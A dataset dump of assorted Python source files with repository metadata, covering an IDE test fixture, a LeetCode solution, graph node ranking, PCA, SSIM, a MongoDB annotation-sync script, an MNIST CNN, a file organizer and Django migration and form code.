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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3425b8c8ddf35688b63bf676318fca670772fb43 | eb9f655206c43c12b497c667ba56a0d358b6bc3a | /python/testData/intentions/PyInvertIfConditionIntentionTest/generalElse_after.py | bacc624e28d8fa6434622dc25954bb227f670b97 | [
"Apache-2.0"
] | permissive | JetBrains/intellij-community | 2ed226e200ecc17c037dcddd4a006de56cd43941 | 05dbd4575d01a213f3f4d69aa4968473f2536142 | refs/heads/master | 2023-09-03T17:06:37.560889 | 2023-09-03T11:51:00 | 2023-09-03T12:12:27 | 2,489,216 | 16,288 | 6,635 | Apache-2.0 | 2023-09-12T07:41:58 | 2011-09-30T13:33:05 | null | UTF-8 | Python | false | false | 119 | py | def func():
value = "not-none"
if value is not None:
print("Not none")
else:
print("None") | [
"intellij-monorepo-bot-no-reply@jetbrains.com"
] | intellij-monorepo-bot-no-reply@jetbrains.com |
f4983221e3c040489f717f6791c1ed4a21e5aee6 | 80e7fabb18a540b59bef95f01b37dce6dc88b2b4 | /Simple_Problems/Q1007_Minimum_Domino_Rotations_For_Equal_Row .py | 052ae13d0a5f4d39426a558e5e7a9ccd33d2fee7 | [] | no_license | sktzwhj/algorithms | d8fce1fd12e0f46aa0417e0f998892c2273f7950 | 4b51e66a98931d174ee636969dee30cf0f397b00 | refs/heads/master | 2021-06-05T17:27:49.383709 | 2020-01-09T09:05:07 | 2020-01-09T09:05:07 | 102,172,473 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 785 | py | from collections import defaultdict
import numpy as np
class Solution(object):
def minDominoRotations(self, A, B):
"""
:type A: List[int]
:type B: List[int]
:rtype: int
"""
if len(A) != len(B):
return -1
current_set = set([A[0], B[0]])
for i in range(1, len(A)):
try:
for val in current_set:
if val != A[i] and val != B[i]:
current_set.remove(val)
if len(current_set) == 0:
return -1
except:
continue
step = len(A)
for val in current_set:
step = min(step, min(len(A) - A.count(val), len(A) - B.count(val)))
return step
| [
"whj_nudt@foxmail.com"
] | whj_nudt@foxmail.com |
3df86635d5cca4a8f8b3258f926bf6370229d819 | 779b53e90f975350747ed59086c4f0dddbe43883 | /Importance.py | 50e191c997f55a33b81e120c341ba39f985e0f4f | [] | no_license | Iorizy2/first | 8f680977790ecd0201214bb13bd8183b4f26ee40 | 2002bda011f24c10e0721a10ec10abf34aa6ca28 | refs/heads/master | 2021-07-24T03:04:36.026640 | 2017-11-02T14:44:39 | 2017-11-02T14:44:39 | 105,010,056 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,567 | py | from igraph import *
from math import *
from time import *
#g = Graph()
start=clock()
g = Graph.GRG(200,0.1)
summary(g)
n=g.vcount()
m=4
x=[[0]*m for i in range(n)]
temp=g.evcent()
#决策矩阵p
for i in range(n):
x[i][0]=g.degree(i)
x[i][1]=temp[i]
x[i][2]=g.closeness(i)
x[i][3]=g.betweenness(i)
#print(x)
#规范化
maxarr= []
for j in range(m):
max = 0
for i in range(n):
if (x[i][j] > max):
max = x[i][j]
maxarr.append(max)
#print(maxarr)
#规范化决策矩阵
for i in range(n):
for j in range(m):
if(maxarr[j]==0):
x[i][j]=0
else:
x[i][j]=x[i][j]/maxarr[j]
print("R:")
print(x)
w=[0.0861,0.2073,0.2073,0.4993]
#加权规范化决策矩阵
y=[[0]*m for i in range(n)]
for i in range(n):
for j in range(m):
y[i][j]=w[j]*x[i][j]
print("Y:")
print(y)
a1=[]
a2=[]
#正负理想决策方案
for j in range(m):
max = 0
min= 100
for i in range(n):
if (y[i][j] > max):
max = y[i][j]
if(y[i][j]<min):
min = y[i][j]
a1.append(max)
a2.append(min)
#print(a1)
#print(a2)
#距离
d1=[]
d2=[]
for i in range(n):
sum1=0
sum2=0
for j in range(m):
sum1 += (y[i][j]-a1[j])*(y[i][j]-a1[j])
sum2 += (y[i][j] - a2[j]) * (y[i][j] - a2[j])
d1.append(sqrt(sum1))
d2.append(sqrt(sum2))
#print("d1 d2:")
#print(d1)
#print(d2)
z=[]
for i in range(n):
#print(d2[i])
z.append(d2[i]/(d1[i]+d2[i]))
print("z:")
print(z)
end=clock()
print('Running time: %s Seconds'%(end-start))
| [
"32098112+Iorizy2@users.noreply.github.com"
] | 32098112+Iorizy2@users.noreply.github.com |
f898fb937ae86ac19f7f7cd8f0c5689afb6c7897 | 81dce1d4687c0591c944037e78a1c119c57868b9 | /PCA_scratch.py | dc7737d5fd0acb84bccb2bac51585c94239d0302 | [] | no_license | RichardChangCA/Python-OpenCV-Practice | b7c0ea0abc50446612a7b6716c480b6fddc104c1 | 3db6323b814bcbcb6c01f14af0cf0c0370855e81 | refs/heads/master | 2021-07-20T20:48:35.570871 | 2020-05-24T23:31:01 | 2020-05-24T23:31:01 | 172,720,013 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,172 | py | # from : https://towardsdatascience.com/pca-explained-and-implemented-in-2-minutes-e024c832bb9cs
from sklearn.datasets import load_iris
import pandas as pd
import numpy as np
data =load_iris()
X,y,column_names = data['data'],data['target'],data['feature_names']
X =pd.DataFrame(X,columns=column_names)
# centering and scaling each column
X = (X - X.mean(axis=0)) / X.std(axis=0)
X.head()
print(f'Original data shape:{X.shape}')
C =X.values.T @ X.values
print(f'Covariance matrix shape:{C.shape}\n\n')
print(C)
# find eigenvectors and eigenvalues of the covariance matrix
from numpy.linalg import eig
eigen_values, eigen_vectors = eig(C)
# printing eigenvalue and its' corresponding eigenvector
for index, eig_value in enumerate(eigen_values):
print(eig_value, eigen_vectors[index])
# find 2 eigenvectors with the largest eigenvalues
k = 2
projection_matrix = eigen_vectors[eigen_values.argsort()[::-1][:k]]
print(projection_matrix.shape)
print(projection_matrix)
#projecting
x_reduced = X @ projection_matrix.T
print(x_reduced.shape)
print(x_reduced.head())
import matplotlib.pyplot as plt
plt.scatter(x_reduced.iloc[:, 0], x_reduced.iloc[:, 1])
plt.show() | [
"zhanglingfeng@zhanglingfengdeMacBook-Pro.local"
] | zhanglingfeng@zhanglingfengdeMacBook-Pro.local |
0460d410607c285a025d2fda3f1d5623d90f0788 | e1ca17cf705095113928317cf52f9c33aa38ea04 | /utility/quip_comp_continue.py | a239cd9105f89a704673d817048edcceb7a10362 | [] | no_license | SBU-BMI/Composite-Dataset | 29376eeb9e2b6055f5253c6dcbaa112da1d67dea | 9564140ac2cbe5367c684de8aadd42415f8abdba | refs/heads/master | 2021-01-16T00:35:48.050825 | 2018-10-10T14:50:00 | 2018-10-10T14:50:00 | 99,967,252 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 8,193 | py | from pymongo import MongoClient
from shapely.geometry import LineString
from shapely.geometry.polygon import LinearRing
from shapely.geometry import Polygon
from bson import json_util
import numpy as np
import time
import pprint
import json
import csv
import sys
import os
import shutil
import concurrent.futures
import subprocess
import pipes
if __name__ == '__main__':
if len(sys.argv)<0:
print "usage:python quip_comp_continue.py"
exit();
#db_host="129.49.249.175";
db_host="quip3.bmi.stonybrook.edu";
db_port="27017";
client = MongoClient('mongodb://'+db_host+':'+db_port+'/');
#client2 = MongoClient('mongodb://'+db_host2+':'+db_port+'/');
db = client.quip;
objects = db.objects;
metadata = db.metadata;
images = db.images;
db2=client.quip_comp;
objects2 = db2.objects;
metadata2 = db2.metadata;
images2 = db2.images;
excluded_list=['joseph.balsamo','tahsin.kurc','tigerfan7495','joelhsaltz','tammy.diprima','siwen.statistics'];
record_count=0;
for image_record in images.find({},{"_id":0}):
case_id=image_record["case_id"];
images_count=images2.find({"case_id":case_id}).count();
if (images_count == 0):
#print case_id, images_count;
composite_input_count=metadata.find({"image.case_id":case_id,
"image.subject_id":case_id,
"provenance.analysis_execution_id":{'$regex' : 'composite_input', '$options' : 'i'}}).count();
#print case_id, images_count,composite_input_count;
if (composite_input_count >0):
user_list =[];
user="";
for user_composite_input in metadata.find({"image.case_id":case_id,
"provenance.analysis_execution_id":{'$regex':'_composite_input'}},
{"provenance.analysis_execution_id":1}):
tmp=user_composite_input["provenance"]["analysis_execution_id"];
tmp_user =tmp.split('_')[0];
user_list.append(tmp_user);
for exclued_user in excluded_list:
if exclued_user in user_list:
user_list.remove(exclued_user);
user_count=len(user_list);
if user_count >1:
user = user_list[0];# get first user
if ( case_id == "17033063"):
user='lillian.pao';
elif ( case_id == "BC_056_0_1"):
user='areeha.batool';
elif ( case_id == "BC_061_0_2"):
user='lillian.pao';
elif ( case_id == "BC_065_0_2"):
user='epshita.das';
elif ( case_id == "PC_227_2_1"):
user='areeha.batool';
else:# assign first user
user=user;
elif user_count<1:
user="";
else:#only one user
user=user_list[0];
if (user_count > 0):#user is available
#print case_id,user
record_count+=1;
execution_id=user +"_composite_input";
markup_count=objects.find({"provenance.image.case_id":case_id,
"provenance.image.subject_id":case_id,
"provenance.analysis.execution_id":execution_id}).count();
print case_id,user,images_count,composite_input_count,markup_count;
exit();
"""
for image_record in images.find({},{"_id":0}):
case_id=image_record["case_id"];
images_count=images2.find({"case_id":case_id}).count();
if (images_count > 0):
#print case_id, images_count;
composite_input_count=metadata.find({"image.case_id":case_id,
"image.subject_id":case_id,
"provenance.analysis_execution_id":{'$regex' : 'composite_input', '$options' : 'i'}}).count();
#print case_id, images_count,composite_input_count;
if (composite_input_count >0):
user_list =[];
user="";
for user_composite_input in metadata.find({"image.case_id":case_id,
"provenance.analysis_execution_id":{'$regex':'_composite_input'}},
{"provenance.analysis_execution_id":1}):
tmp=user_composite_input["provenance"]["analysis_execution_id"];
tmp_user =tmp.split('_')[0];
user_list.append(tmp_user);
for exclued_user in excluded_list:
if exclued_user in user_list:
user_list.remove(exclued_user);
user_count=len(user_list);
if user_count >1:
user = user_list[0];# get first user
if ( case_id == "17033063"):
user='lillian.pao';
elif ( case_id == "BC_056_0_1"):
user='areeha.batool';
elif ( case_id == "BC_061_0_2"):
user='lillian.pao';
elif ( case_id == "BC_065_0_2"):
user='epshita.das';
elif ( case_id == "PC_227_2_1"):
user='areeha.batool';
else:# assign first user
user=user;
elif user_count<1:
user="";
else:#only one user
user=user_list[0];
if (user_count > 0):#user is available
#print case_id,user
record_count+=1;
execution_id=user +"_composite_input";
markup_count=objects.find({"provenance.image.case_id":case_id,
"provenance.image.subject_id":case_id,
"provenance.analysis.execution_id":execution_id}).count();
markup_count2=objects2.find({"provenance.image.case_id":case_id,
"provenance.image.subject_id":case_id,
"provenance.analysis.execution_id":execution_id}).count();
if (markup_count != markup_count2):
print case_id,user,images_count,composite_input_count,markup_count,markup_count2;
exit();
"""
"""
print "============== syn images collection ===================="
for item in process_list:
case_id=item[0];
dest_images_count= images2.find({"case_id":case_id}).count();
if (dest_images_count ==0):
for image_record in images.find({"case_id":case_id},{"_id":0}):
images2.insert_one(image_record);
print case_id;
else:
print str(case_id) +" is Not empty in quip3 server db quip_comp images collection";
exit();
"""
"""
print "============== syn metadata collection ===================="
for item in process_list:
case_id=item[0];
subject_id =case_id;
#remove old records and update to current record
metadata2.remove({"image.case_id":case_id});
for metadata_record in metadata.find({"image.case_id":case_id},{"_id":0}):
metadata2.insert_one(metadata_record);
exit();
"""
"""
print "============== syn human markup annotations ===================="
for item in process_list:
case_id=item[0];
subject_id =case_id;
user=item[1];
execution_id=user +"_composite_input";
#remove old records in objects collection
for annotation in objects.find({"provenance.image.case_id":case_id,
"provenance.image.subject_id":subject_id,
"provenance.analysis.execution_id": execution_id
},{"_id":0}):
objects2.insert_one(annotation);
exit();
"""
| [
"noreply@github.com"
] | SBU-BMI.noreply@github.com |
1eab0cdda2292b5f50d15e52a213d3dba64f4093 | 566bff6664705e19e4c12c8ca172b7fcfe7b10c9 | /ssim.py | dcbe029ce5a2095e2715e00f50424ae56468150a | [] | no_license | aiff22/DPED | 61a43cb2f76bea617af61e3d9ead00acf7ac430d | ebb01315238430f7c66eaaf84996fcb59877f97f | refs/heads/master | 2022-01-03T07:22:27.023525 | 2021-12-17T13:59:15 | 2021-12-17T13:59:15 | 101,207,412 | 1,686 | 379 | null | null | null | null | UTF-8 | Python | false | false | 2,641 | py | import numpy as np
from scipy import signal
from scipy.ndimage.filters import convolve
import tensorflow as tf
def _FSpecialGauss(size, sigma):
radius = size // 2
offset = 0.0
start, stop = -radius, radius + 1
if size % 2 == 0:
offset = 0.5
stop -= 1
x, y = np.mgrid[offset + start:stop, offset + start:stop]
g = np.exp(-((x**2 + y**2)/(2.0 * sigma**2)))
return g / g.sum()
def _SSIMForMultiScale(img1, img2, max_val=255, filter_size=11, filter_sigma=1.5, k1=0.01, k2=0.03):
img1 = img1.astype(np.float64)
img2 = img2.astype(np.float64)
_, height, width, _ = img1.shape
size = min(filter_size, height, width)
sigma = size * filter_sigma / filter_size if filter_size else 0
if filter_size:
window = np.reshape(_FSpecialGauss(size, sigma), (1, size, size, 1))
mu1 = signal.fftconvolve(img1, window, mode='valid')
mu2 = signal.fftconvolve(img2, window, mode='valid')
sigma11 = signal.fftconvolve(img1 * img1, window, mode='valid')
sigma22 = signal.fftconvolve(img2 * img2, window, mode='valid')
sigma12 = signal.fftconvolve(img1 * img2, window, mode='valid')
else:
mu1, mu2 = img1, img2
sigma11 = img1 * img1
sigma22 = img2 * img2
sigma12 = img1 * img2
mu11 = mu1 * mu1
mu22 = mu2 * mu2
mu12 = mu1 * mu2
sigma11 -= mu11
sigma22 -= mu22
sigma12 -= mu12
c1 = (k1 * max_val) ** 2
c2 = (k2 * max_val) ** 2
v1 = 2.0 * sigma12 + c2
v2 = sigma11 + sigma22 + c2
ssim = np.mean((((2.0 * mu12 + c1) * v1) / ((mu11 + mu22 + c1) * v2)))
cs = np.mean(v1 / v2)
return ssim, cs
def MultiScaleSSIM(img1, img2, max_val=255, filter_size=11, filter_sigma=1.5, k1=0.01, k2=0.03, weights=None):
weights = np.array(weights if weights else [0.0448, 0.2856, 0.3001, 0.2363, 0.1333])
levels = weights.size
downsample_filter = np.ones((1, 2, 2, 1)) / 4.0
im1, im2 = [x.astype(np.float64) for x in [img1, img2]]
mssim = np.array([])
mcs = np.array([])
for _ in range(levels):
ssim, cs = _SSIMForMultiScale(im1, im2, max_val=max_val, filter_size=filter_size, filter_sigma=filter_sigma, k1=k1, k2=k2)
mssim = np.append(mssim, ssim)
mcs = np.append(mcs, cs)
filtered = [convolve(im, downsample_filter, mode='reflect') for im in [im1, im2]]
im1, im2 = [x[:, ::2, ::2, :] for x in filtered]
return np.prod(mcs[0:levels-1] ** weights[0:levels-1]) * (mssim[levels-1] ** weights[levels-1])
| [
"ihnatova@student.ethz.ch"
] | ihnatova@student.ethz.ch |
770b15a463d30ac2b7055814d531a95f8ea92808 | 4b28e34e326afdf0de4866f5c7c33eae9a9a314b | /Practice/ConvolutionLayerMNISTwithPrettyTensor.py | fb1df714fa7640dd1803f1d3a184d730ad0e7e88 | [
"Apache-2.0"
] | permissive | karan23gupta/Summer-Training-Project | ce1a45bc82c2189a8b477fd6416f74e0e1a37a0a | 177b568588e1d6e911b3a53bdaa0cd7d5441c313 | refs/heads/master | 2021-09-06T03:01:43.741308 | 2018-02-01T21:20:18 | 2018-02-01T21:20:18 | 119,895,093 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,402 | py | import matplotlib.pyplot as plt
import tensorflow as tf
import numpy as np
import time
from datetime import timedelta
import math
import prettytensor as pt
from tensorflow.examples.tutorials.mnist import input_data
data = input_data.read_data_sets('data/MNIST/',one_hot=True)
data.test.cls = np.argmax(data.test.labels,axis=1)
img_size = 28
img_size_flat = img_size * img_size
img_shape = (img_size,img_size)
num_channels = 1
num_classes = 10
def plot_images(images,cls_true,cls_pred=None):
assert len(images) == len(cls_true) == 9
fig, axes = plt.subplots(3,3)
fig.subplots_adjust(hspace=0.3,wspace=0.3)
for i, ax in enumerate(axes.flat):
ax.imshow(images[i].reshape(img_shape),cmap='binary')
if cls_pred is None:
xlabel = "True: {0}".format(cls_true[i])
else:
xlabel = "True: {0}, Pred: {1}".format(cls_true[i],cls_pred[i])
ax.set_xlabel(xlabel)
ax.set_xticks([])
ax.set_yticks([])
plt.show()
'''
images = data.test.images[0:9]
cls_true = data.test.cls[0:9]
plot_images(images=images,cls_true=cls_true)
'''
x = tf.placeholder(tf.float32, shape=[None, img_size_flat],name='x')
x_image = tf.reshape(x,[-1,img_size,img_size,num_channels])
x_pretty = pt.wrap(x_image)
y_true = tf.placeholder(tf.float32,shape=[None,num_classes],name='y_true')
y_true_cls = tf.argmax(y_true,dimension=1)
with pt.defaults_scope():
y_pred,loss = x_pretty.\
conv2d(kernel=5,depth=16,activation_fn=tf.nn.relu,name='layer_conv1').\
max_pool(kernel=2,stride=2).\
conv2d(kernel=2,depth=36,activation_fn=tf.nn.relu,name='layer_conv2').\
max_pool(kernel=2,stride=2).\
flatten().\
fully_connected(size=128,activation_fn=tf.nn.relu,name='layer_fc1').\
softmax_classifier(num_classes=num_classes,labels=y_true)
optimizer = tf.train.AdamOptimizer(learning_rate=1e-4).minimize(loss)
y_pred_cls = tf.argmax(y_pred,dimension=1)
correct_prediction =tf.equal(y_pred_cls,y_true_cls)
accuracy = tf.reduce_mean(tf.cast(correct_prediction,tf.float32))
session = tf.Session()
session.run(tf.global_variables_initializer())
train_batch_size = 64
total_iterations = 0
def optimize(num_iterations):
global total_iterations
start_time = time.time()
for i in range(total_iterations,
total_iterations + num_iterations):
x_batch, y_true_batch = data.train.next_batch(train_batch_size)
feed_dict_train = {x: x_batch,
y_true: y_true_batch}
session.run(optimizer, feed_dict=feed_dict_train)
if i % 100 == 0:
acc = session.run(accuracy, feed_dict=feed_dict_train)
msg = "Optimization Iteration: {0:>6}, Training Accuracy: {1:>6.1%}"
# Print it.
print(msg.format(i + 1, acc))
total_iterations += num_iterations
end_time = time.time()
time_dif = end_time - start_time
print("Time usage: " + str(timedelta(seconds=int(round(time_dif)))))
def plot_example_errors(cls_pred, correct):
incorrect = (correct == False)
images = data.test.images[incorrect]
cls_pred = cls_pred[incorrect]
cls_true = data.test.cls[incorrect]
plot_images(images=images[0:9],
cls_true=cls_true[0:9],
cls_pred=cls_pred[0:9])
# Split the test-set into smaller batches of this size.
test_batch_size = 256
def print_test_accuracy(show_example_errors=False):
num_test = len(data.test.images)
cls_pred = np.zeros(shape=num_test, dtype=np.int)
i = 0
while i < num_test:
j = min(i + test_batch_size, num_test)
images = data.test.images[i:j, :]
labels = data.test.labels[i:j, :]
feed_dict = {x: images,
y_true: labels}
cls_pred[i:j] = session.run(y_pred_cls, feed_dict=feed_dict)
i = j
cls_true = data.test.cls
correct = (cls_true == cls_pred)
correct_sum = correct.sum()
acc = float(correct_sum) / num_test
msg = "Accuracy on Test-Set: {0:.1%} ({1} / {2})"
print(msg.format(acc, correct_sum, num_test))
if show_example_errors:
print("Example errors:")
plot_example_errors(cls_pred=cls_pred, correct=correct)
optimize(num_iterations=10000)
print_test_accuracy()
| [
"karangupta12527@gmail.com"
] | karangupta12527@gmail.com |
d02c61be8cdc05408782448bf94a37e26a143c5d | d8b74da63f9cc0e22240383b75bcaf8e0af674a4 | /helpers/organizer.py | 3afa4fff9be76400c00098d359aae5ff5f15eaf6 | [] | no_license | ronan99/Organizer | e69098a3a4d3b5b0b7cb660410bbdeae03ccbf17 | 36cd5bdda7b3fb186b84c50579fa34f3c8cf163d | refs/heads/master | 2023-09-05T22:03:05.908861 | 2021-11-20T08:38:07 | 2021-11-20T08:38:07 | 430,051,960 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 949 | py | import os, sys, time
from pathlib import Path
from .files import *
import shutil
from tqdm import tqdm
# from .progress_bar import progressBar
def organize_junk(dir):
if(not os.path.isdir(dir)):
return "Not a dir"
i = 1
size = len(os.listdir(dir))
for entry in tqdm(os.scandir(dir)):
time.sleep(1)
# print("Position " + str(i) + " of " + str(size) + " files.\n\n")
# print("----------------------------------------------------------------------------- \n \n")
i+= 1
if entry.is_dir():
continue
file_path = Path(entry)
file_format = file_path.suffix.lower()
if file_format in FILE_FORMATS:
dir_to_save = dir + "\\" + FILE_FORMATS[file_format]
if not os.path.isdir(dir_to_save):
os.mkdir(dir_to_save)
shutil.move(file_path , dir_to_save)
return "Dir organized" | [
"ronan.lino99@gmail.com"
] | ronan.lino99@gmail.com |
440a8ddacad94b5c6f4c06e7d203858eec3a6b1f | 15feffbabf6d711c38a0eb7f446fa32fa0f8fa21 | /home/migrations/0008_auto_20210407_0114.py | e6e6b9e76ab7d32d053378cc86b333b7829c6af4 | [] | no_license | erdemaltu/Python-Django-RealEstateHomeBuyingAndSelling | 0342526d4a3db4fde6efc2187bd024111c8ef699 | 110113d05fc3da9acdb43cc5227a398b2f988bc0 | refs/heads/master | 2023-05-31T10:28:56.861446 | 2021-07-02T09:21:16 | 2021-07-02T09:21:16 | 349,551,792 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 452 | py | # Generated by Django 3.1.7 on 2021-04-06 22:14
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('home', '0007_auto_20210407_0030'),
]
operations = [
migrations.RemoveField(
model_name='contactformmessage',
name='address',
),
migrations.RemoveField(
model_name='contactformmessage',
name='phone',
),
]
| [
"e-altug@hotmail.com"
] | e-altug@hotmail.com |
a84c23e3ac2bad71e6046024c8f1e3abff7d11b8 | ab60e13be23cf2962d0a10e1c575129c38a2746c | /src/attentive/__init__.py | 8b07e27a24591ea524f557bf2e26108b0d38652c | [] | no_license | sthysel/attentive | 1d83132b6dade8538063f67f3f69aa8c75e4bd18 | 3d4e53ba20e854307b6bb154985bd652fa1c4432 | refs/heads/master | 2021-01-20T03:57:21.238610 | 2017-09-08T05:15:43 | 2017-09-08T05:15:43 | 89,612,110 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 53 | py | from .attentive import *
from .quit import quitevent
| [
"sthysel@gmail.com"
] | sthysel@gmail.com |
0370d28584720feafadc26ca4dc8a0978612b07f | 54e08f00d129c9d6e2cd06f42a90945778785ee1 | /ThievesRecognition/knife_detection.py | 549a7e05967d534957d726862611244dffc4a2d4 | [
"MIT"
] | permissive | sergioalberto/DeepLearningLab | 8fc3a27fcca31c6b8d2877f323c5e6c4babaf40a | ac4f176f5e94dadee4465e2334b361b70e1d4ddc | refs/heads/master | 2023-06-24T04:17:10.690318 | 2022-07-11T16:34:21 | 2022-07-11T16:34:21 | 164,376,441 | 1 | 1 | MIT | 2023-06-14T22:28:34 | 2019-01-07T04:04:40 | null | UTF-8 | Python | false | false | 7,756 | py | import os, sys, datetime, random
import skimage.draw
import numpy as np
import matplotlib.pyplot as plt
from matplotlib import patches, lines
from skimage.measure import find_contours
from matplotlib.patches import Polygon
# Root directory of the project
ROOT_DIR = os.path.abspath(".")
sys.path.append(ROOT_DIR) # To find local version of the library
from mrcnn.config import Config
from mrcnn import model as modellib, utils
from mrcnn import visualize
# Path to trained weights file
COCO_WEIGHTS_PATH = os.path.join(ROOT_DIR, "mask_rcnn_coco.h5")
KNIFE_WEIGHTS_PATH = os.path.join(ROOT_DIR, "mask_rcnn_knife_v1.h5")
# Directory to save logs and model checkpoints, if not provided
# through the command line argument --logs
DEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, "logs")
class InferenceConfig(Config):
# Give the configuration a recognizable name
NAME = "knife"
# Number of classes (including background)
NUM_CLASSES = 1 + 1 # Background + knife
# Number of training steps per epoch
STEPS_PER_EPOCH = 100
# Skip detections with < 90% confidence
DETECTION_MIN_CONFIDENCE = 0.9
# Set batch size to 1 since we'll be running inference on
# one image at a time. Batch size = GPU_COUNT * IMAGES_PER_GPU
GPU_COUNT = 1
IMAGES_PER_GPU = 1
def color_splash(image, mask):
"""Apply color splash effect.
image: RGB image [height, width, 3]
mask: instance segmentation mask [height, width, instance count]
Returns result image.
"""
# Make a grayscale copy of the image. The grayscale copy still
# has 3 RGB channels, though.
gray = skimage.color.gray2rgb(skimage.color.rgb2gray(image)) * 255
# Copy color pixels from the original color image where mask is set
if mask.shape[-1] > 0:
# We're treating all instances as one, so collapse the mask into one layer
mask = (np.sum(mask, -1, keepdims=True) >= 1)
splash = np.where(mask, image, gray).astype(np.uint8)
else:
splash = gray.astype(np.uint8)
return splash
def get_ax(rows=1, cols=1, size=16):
"""Return a Matplotlib Axes array to be used in
all visualizations in the notebook. Provide a
central point to control graph sizes.
Adjust the size attribute to control how big to render images
"""
_, ax = plt.subplots(rows, cols, figsize=(size*cols, size*rows))
return ax
def set_mask_image(image, boxes, masks, class_ids, class_names,
scores=None, title="",
figsize=(16, 16), ax=None,
show_mask=True, show_bbox=True,
colors=None, captions=None):
"""
boxes: [num_instance, (y1, x1, y2, x2, class_id)] in image coordinates.
masks: [height, width, num_instances]
class_ids: [num_instances]
class_names: list of class names of the dataset
scores: (optional) confidence scores for each box
title: (optional) Figure title
show_mask, show_bbox: To show masks and bounding boxes or not
figsize: (optional) the size of the image
colors: (optional) An array or colors to use with each object
captions: (optional) A list of strings to use as captions for each object
"""
# Number of instances
N = boxes.shape[0]
if not N:
print("\n*** No instances to display *** \n")
else:
assert boxes.shape[0] == masks.shape[-1] == class_ids.shape[0]
# If no axis is passed, create one and automatically call show()
auto_show = False
if not ax:
_, ax = plt.subplots(1, figsize=figsize)
auto_show = True
# Generate random colors
colors = colors or visualize.random_colors(N)
# Show area outside image boundaries.
height, width = image.shape[:2]
ax.set_ylim(height + 10, -10)
ax.set_xlim(-10, width + 10)
ax.axis('off')
ax.set_title(title)
masked_image = image.astype(np.uint32).copy()
for i in range(N):
color = colors[i]
# Bounding box
if not np.any(boxes[i]):
# Skip this instance. Has no bbox. Likely lost in image cropping.
continue
y1, x1, y2, x2 = boxes[i]
if show_bbox:
p = patches.Rectangle((x1, y1), x2 - x1, y2 - y1, linewidth=2,
alpha=0.7, linestyle="dashed",
edgecolor=color, facecolor='none')
ax.add_patch(p)
# Label
if not captions:
class_id = class_ids[i]
score = scores[i] if scores is not None else None
label = class_names[class_id]
x = random.randint(x1, (x1 + x2) // 2)
caption = "{} {:.3f}".format(label, score) if score else label
else:
caption = captions[i]
ax.text(x1, y1 + 8, caption,
color='w', size=11, backgroundcolor="none")
# Mask
mask = masks[:, :, i]
if show_mask:
masked_image = visualize.apply_mask(masked_image, mask, color)
# Mask Polygon
# Pad to ensure proper polygons for masks that touch image edges.
padded_mask = np.zeros(
(mask.shape[0] + 2, mask.shape[1] + 2), dtype=np.uint8)
padded_mask[1:-1, 1:-1] = mask
contours = find_contours(padded_mask, 0.5)
for verts in contours:
# Subtract the padding and flip (y, x) to (x, y)
verts = np.fliplr(verts) - 1
p = Polygon(verts, facecolor="none", edgecolor=color)
ax.add_patch(p)
ax.imshow(masked_image.astype(np.uint8))
if auto_show:
plt.show()
return masked_image
if __name__ == '__main__':
import argparse
# Parse command line arguments
parser = argparse.ArgumentParser(
description='Knife detection demo.')
parser.add_argument('--model', required=True,
metavar="/path/to/weights.h5",
help="Path to weights .h5 file or 'coco'")
parser.add_argument('--logs', required=False,
default=DEFAULT_LOGS_DIR,
metavar="/path/to/logs/",
help='Logs and checkpoints directory (default=logs/)')
parser.add_argument('--image', required=True,
metavar="path or URL to image",
help='Image to apply the color splash effect on')
args = parser.parse_args()
print("Model: ", args.model)
print("Logs: ", args.logs)
# Configurations
config = InferenceConfig()
config.display()
# Create model
model = modellib.MaskRCNN(mode="inference", config=config, model_dir=args.logs)
# Select weights file to load
weights_path = args.model
# Load weights
print("Loading weights ", weights_path)
model.load_weights(weights_path, by_name=True)
# Run model detection and generate the color splash effect
print("Running on {}".format(args.image))
# Read image
image = skimage.io.imread(args.image)
# Detect objects
r = model.detect([image], verbose=1)[0]
# Color splash
splash = color_splash(image, r['masks'])
# Save output
file_name = "splash_{:%Y%m%dT%H%M%S}.png".format(datetime.datetime.now())
print ("Saving splash image on {}".format(file_name))
skimage.io.imsave(file_name, splash)
# Display results
ax = get_ax(1)
class_names = ['BG', 'knife']
mask_image = set_mask_image(image, r['rois'], r['masks'], r['class_ids'],
class_names, r['scores'], ax=ax, title="Knife Predictions")
# Save output
file_name = "mask_{:%Y%m%dT%H%M%S}.png".format(datetime.datetime.now())
print ("Saving mask image on {}".format(file_name))
skimage.io.imsave(file_name, mask_image)
| [
"sgonzalez@zenoss.com"
] | sgonzalez@zenoss.com |
9da46f329f3952018d200a3e7eb9a6593d3e21ca | aa7fc244d220f218c799158ed4076628911a85f9 | /TERCERO/PSI/upload/forms.py | 7ff3081104c19e2115994732eb3077a7713c8469 | [] | no_license | Juanllamazares/informatica-uam | 4bba8f33ad2c9c358801d74d6cc394a2418a7f62 | 9292b3824d2b748033eb5ef73f918e13d9ff5fba | refs/heads/master | 2022-12-23T13:38:42.543604 | 2020-09-17T15:37:40 | 2020-09-17T15:37:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 637 | py | from django import forms
from data.models import WorkFlow, Category
class UploadWorkflow(forms.ModelForm):
name = forms.CharField(label = 'Name')
category = forms.ModelMultipleChoiceField(label = 'Category', queryset = Category.objects.all(), required = False)
keywords = forms.CharField(label = 'Keywords', max_length = 256)
description = forms.CharField(label = 'Description', max_length = 512)
versionInit = forms.CharField(label = 'Version', max_length = 128)
json = forms.FileField(label = 'Upload JSON')
class Meta:
model = WorkFlow
fields = ('name', 'keywords', 'description', 'category', 'versionInit', 'json',) | [
"tom3.hv23@gmail.com"
] | tom3.hv23@gmail.com |
